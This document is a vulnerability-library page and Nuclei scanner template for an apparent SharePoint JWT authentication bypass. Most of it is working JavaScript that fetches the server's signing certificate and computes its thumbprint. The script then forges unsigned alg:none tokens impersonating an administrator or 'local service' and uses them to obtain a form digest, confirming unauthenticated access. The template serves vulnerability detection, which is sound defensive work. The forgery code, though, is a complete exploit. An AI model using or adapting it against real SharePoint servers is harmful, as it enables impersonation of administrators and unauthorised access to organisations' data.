/Vulnerability Library

Microsoft SharePoint Server - JWT Authentication Bypass

CVE-2026-55040
Early Release

Description

Microsoft SharePoint Server is vulnerable to an authentication bypass (CVE-2026-55040) in its JWT token validation pipeline (SPJsonWebSecurityTokenHandlerV2). The chain disables signature requirements (RequireSignedTokens=false, accepting alg:none tokens), resolves the actor token x5t thumbprint against the server's own STS signing certificate (freely retrievable from /_layouts/15/metadata/json/1) without verifying the signature, accepts unregistered certificate issuers, and only checks the actor token signature is non-empty. An unauthenticated remote attacker can forge a JWT and authenticate as any SharePoint user, including a site administrator. This template forges such a token and confirms the bypass by obtaining a SharePoint form digest.

Severity

Critical

CVSS Score

9.1

Exploit Probability

40%

Published Date

August 26, 2026

Template Author

sfewer-r7, dhiyaneshdk

CVE-2026-55040.yaml
id: CVE-2026-55040

info:
  name: Microsoft SharePoint Server - JWT Authentication Bypass
  author: sfewer-r7,DhiyaneshDk
  severity: critical
  description: |
    Microsoft SharePoint Server is vulnerable to an authentication bypass (CVE-2026-55040) in its JWT token validation pipeline (SPJsonWebSecurityTokenHandlerV2). The chain disables signature requirements (RequireSignedTokens=false, accepting alg:none tokens), resolves the actor token x5t thumbprint against the server's own STS signing certificate (freely retrievable from /_layouts/15/metadata/json/1) without verifying the signature, accepts unregistered certificate issuers, and only checks the actor token signature is non-empty. An unauthenticated remote attacker can forge a JWT and authenticate as any SharePoint user, including a site administrator. This template forges such a token and confirms the bypass by obtaining a SharePoint form digest.
  impact: |
    Unauthorized attackers can bypass authentication, gaining unauthorized access to protected resources.
  remediation: |
    Update to the latest version of Microsoft Office SharePoint.
  reference:
    - https://github.com/sfewer-r7/CVE-2026-55040
    - https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-55040
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-55040
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-55040
    epss-score: 0.39652
    epss-percentile: 0.98555
    cwe-id: CWE-1390
  metadata:
    max-request: 3
    verified: true
    shodan-query: html:"/_layouts/"
  tags: cve,cve2026,sharepoint,microsoft,auth-bypass,jwt,kev,vkev

javascript:
  - pre-condition: |
      isPortOpen(Host, Port);
    code: |
      var net = require("nuclei/net");

      // ===== SHA-1 (pure JavaScript, RFC 3174) =====
      function sha1(data) {
        function R(n, s) { return ((n << s) | (n >>> (32 - s))) >>> 0; }
        function A(x, y) { return (x + y) >>> 0; }
        var msg = data.slice(), L = msg.length;
        msg.push(0x80);
        while ((msg.length % 64) !== 56) msg.push(0);
        var bl = L * 8;
        msg.push(0, 0, 0, 0, (bl >>> 24) & 0xFF, (bl >>> 16) & 0xFF, (bl >>> 8) & 0xFF, bl & 0xFF);
        var H = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0];
        for (var blk = 0; blk < msg.length; blk += 64) {
          var W = [];
          for (var i = 0; i < 16; i++)
            W[i] = ((msg[blk + i * 4] << 24) | (msg[blk + i * 4 + 1] << 16) | (msg[blk + i * 4 + 2] << 8) | msg[blk + i * 4 + 3]) >>> 0;
          for (var i = 16; i < 80; i++)
            W[i] = R(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1);
          var a = H[0], b = H[1], c = H[2], d = H[3], e = H[4];
          for (var t = 0; t < 80; t++) {
            var f, k;
            if (t < 20) { f = ((b & c) | (~b & d)) >>> 0; k = 0x5A827999; }
            else if (t < 40) { f = (b ^ c ^ d) >>> 0; k = 0x6ED9EBA1; }
            else if (t < 60) { f = ((b & c) | (b & d) | (c & d)) >>> 0; k = 0x8F1BBCDC; }
            else { f = (b ^ c ^ d) >>> 0; k = 0xCA62C1D6; }
            var T = A(A(A(A(R(a, 5), f), e), k >>> 0), W[t]);
            e = d; d = c; c = R(b, 30); b = a; a = T;
          }
          H[0] = A(H[0], a); H[1] = A(H[1], b); H[2] = A(H[2], c); H[3] = A(H[3], d); H[4] = A(H[4], e);
        }
        var out = [];
        for (var j = 0; j < 5; j++) out.push((H[j] >>> 24) & 0xFF, (H[j] >>> 16) & 0xFF, (H[j] >>> 8) & 0xFF, H[j] & 0xFF);
        return out;
      }

      // ===== Base64 / Base64url =====
      function b64enc(bytes) {
        var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = "";
        for (var i = 0; i < bytes.length; i += 3) {
          var x = bytes[i], y = i + 1 < bytes.length ? bytes[i + 1] : 0, z = i + 2 < bytes.length ? bytes[i + 2] : 0;
          r += t[x >>> 2];
          r += t[((x & 3) << 4) | (y >>> 4)];
          r += i + 1 < bytes.length ? t[((y & 0xF) << 2) | (z >>> 6)] : "=";
          r += i + 2 < bytes.length ? t[z & 0x3F] : "=";
        }
        return r;
      }
      function b64url(bytes) { return b64enc(bytes).replace(/\+/g, "-").replace(/\//g, "_").replace(/=/g, ""); }
      function b64urlStr(s) {
        var b = [];
        for (var i = 0; i < s.length; i++) b.push(s.charCodeAt(i) & 0xFF);
        return b64url(b);
      }
      function b64dec(s) {
        var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = [];
        s = s.replace(/[^A-Za-z0-9+\/]/g, "");
        for (var i = 0; i < s.length; i += 4) {
          var a = t.indexOf(s[i]), b = t.indexOf(s[i + 1]);
          var c = s[i + 2] ? t.indexOf(s[i + 2]) : -1, d = s[i + 3] ? t.indexOf(s[i + 3]) : -1;
          r.push((a << 2) | (b >>> 4));
          if (c !== -1) r.push(((b & 0xF) << 4) | (c >>> 2));
          if (d !== -1) r.push(((c & 3) << 6) | d);
        }
        return r;
      }

      // ===== HTTP helper — accumulation loop to read full multi-chunk response =====
      function httpReq(method, path, extraHdrs, body) {
        var hdrs = "Host: " + Host + "\r\nUser-Agent: nuclei\r\nConnection: close\r\nContent-Length: 0\r\n";
        for (var k in extraHdrs) hdrs += k + ": " + extraHdrs[k] + "\r\n";
        var raw = method + " " + path + " HTTP/1.1\r\n" + hdrs + "\r\n" + (body || "");
        try {
          var conn;
          try { conn = net.OpenTLS("tcp", Host + ":443"); }
          catch (e) { conn = net.Open("tcp", Host + ":443"); }
          conn.SetTimeout(30);
          conn.Send(raw);
          // Accumulate chunks until EOF (server closes with Connection: close)
          var resp = "";
          var chunk;
          while (true) {
            try {
              chunk = conn.RecvString(4096);
              if (!chunk || chunk.length === 0) break;
              resp += chunk;
            } catch (e) { break; }
          }
          conn.Close();
          return resp;
        } catch (e) { return ""; }
      }

      // ===== Dechunk — handle Transfer-Encoding: chunked if present =====
      function dechunk(body) {
        if (!body || body.indexOf("\r\n") === -1) return body;
        var result = "";
        var pos = 0;
        while (pos < body.length) {
          var nlIdx = body.indexOf("\r\n", pos);
          if (nlIdx === -1) break;
          var sizeLine = body.substring(pos, nlIdx).split(";")[0].trim();
          var size = parseInt(sizeLine, 16);
          if (isNaN(size) || size === 0) break;
          pos = nlIdx + 2;
          if (pos + size > body.length) { result += body.substring(pos); break; }
          result += body.substring(pos, pos + size);
          pos += size + 2;
        }
        return result || body;
      }

      function parseResp(raw) {
        if (!raw) return { code: 0, body: "" };
        var sep = raw.indexOf("\r\n\r\n");
        if (sep === -1) sep = raw.indexOf("\n\n");
        if (sep === -1) return { code: 0, body: raw };
        var headers = raw.substring(0, sep);
        var body = raw.substring(sep + 4);
        if (headers.toLowerCase().indexOf("transfer-encoding: chunked") !== -1) {
          body = dechunk(body);
        }
        var m = headers.match(/^HTTP\/[\d.]+\s+(\d+)/);
        return { code: m ? parseInt(m[1]) : 0, body: body };
      }

      // ===== Main detection logic =====
      var metaR = parseResp(httpReq("GET", "/_layouts/15/metadata/json/1", {}, ""));
      if (metaR.code === 200 && metaR.body && metaR.body.trim()[0] !== "<") {
        var meta = null;
        try { meta = JSON.parse(metaR.body); } catch (e) {}
        if (meta) {
          var issuer = meta.issuer || "";
          var atIdx = issuer.indexOf("@");
          if (atIdx !== -1) {
            var realm = issuer.substring(atIdx + 1);
            var keys = meta.keys || [];
            var certB64 = keys[0] && keys[0].keyValue ? keys[0].keyValue.value : null;
            if (certB64) {
              var certDer = b64dec(certB64);
              var x5t = b64url(sha1(certDer));
              var now = Math.floor(Date.now() / 1000);
              var hostLabel = Host.split(".")[0];
              var cid = "00000003-0000-0ff1-ce00-000000000000";

              var aHdr = JSON.stringify({ alg: "RS256", typ: "JWT", x5t: x5t });
              var aPld = JSON.stringify({ iss: issuer, nameid: issuer, nbf: now - 300, exp: now + 3600 });
              var actorJwt = b64urlStr(aHdr) + "." + b64urlStr(aPld) + ".AAAA";

              var forgeToken = function (nameid, nii, extra) {
                var hdr = JSON.stringify({ alg: "none", typ: "JWT" });
                var pld = {
                  aud: cid + "/" + hostLabel + "@" + realm,
                  iss: issuer,
                  nbf: now - 300,
                  exp: now + 3600,
                  nameid: nameid,
                  nii: nii,
                  trustedfordelegation: "true",
                  actortoken: actorJwt
                };
                if (extra) { for (var ek in extra) pld[ek] = extra[ek]; }
                return b64urlStr(hdr) + "." + b64urlStr(JSON.stringify(pld)) + ".";
              };

              var tryDigest = function (token) {
                return parseResp(httpReq("POST", "/_api/contextinfo",
                  { Authorization: "Bearer " + token, Accept: "application/json" }, ""));
              };

              var output = "";

              // Path 1: UPN derived from hostname domain
              var parts = Host.split(".");
              if (parts.length >= 3) {
                var domain = parts.slice(1).join(".");
                var upn = "administrator@" + domain;
                var tok1 = forgeToken("upn_bypass", "urn:office:idp:activedirectory", { upn: upn });
                var r1 = tryDigest(tok1);
                if (r1.code === 200 && r1.body.indexOf("FormDigestValue") !== -1) {
                  output = "CVE-2026-55040-VULNERABLE\nDIGEST-OBTAINED\nupn=" + upn + "\nrealm=" + realm;
                }
              }

              // Path 2: AccessToken / local service fallback
              if (!output) {
                var tok2 = forgeToken("0#.w|nt authority\\local service", "AccessToken", { upn: "x@localhost" });
                var r2 = tryDigest(tok2);
                if (r2.code === 200 && (r2.body.indexOf("FormDigestValue") !== -1 || r2.body.indexOf("UnauthorizedAccessException") !== -1)) {
                  output = "CVE-2026-55040-VULNERABLE\nAUTH-BYPASS-CONFIRMED\nrealm=" + realm;
                }
              }

              if (output) Export(output);
            }
          }
        }
      }

    args:
      Host: "{{Host}}"
      Port: "443"

    matchers:
      - type: word
        words:
          - "CVE-2026-55040-VULNERABLE"

    extractors:
      - type: regex
        name: realm
        regex:
          - "realm=([0-9a-fA-F-]+)"
# digest: 4a0a00473045022100fa939bc5ea9e8c1636576b1b5b3d9010f31f0fc627c57354fd84a761efafcac202201208afb2c6b6ef93152eefd60a3aff04908cb3dfadaf8b3cae5609540c621570:922c64590222798bb761d5b6d8e72950
9.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CVE ID:
cve-2026-55040
CWE ID:
cwe-1390

References

https://github.com/sfewer-r7/CVE-2026-55040https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040/https://nvd.nist.gov/vuln/detail/CVE-2026-55040https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-55040

Remediation Steps

Update to the latest version of Microsoft Office SharePoint.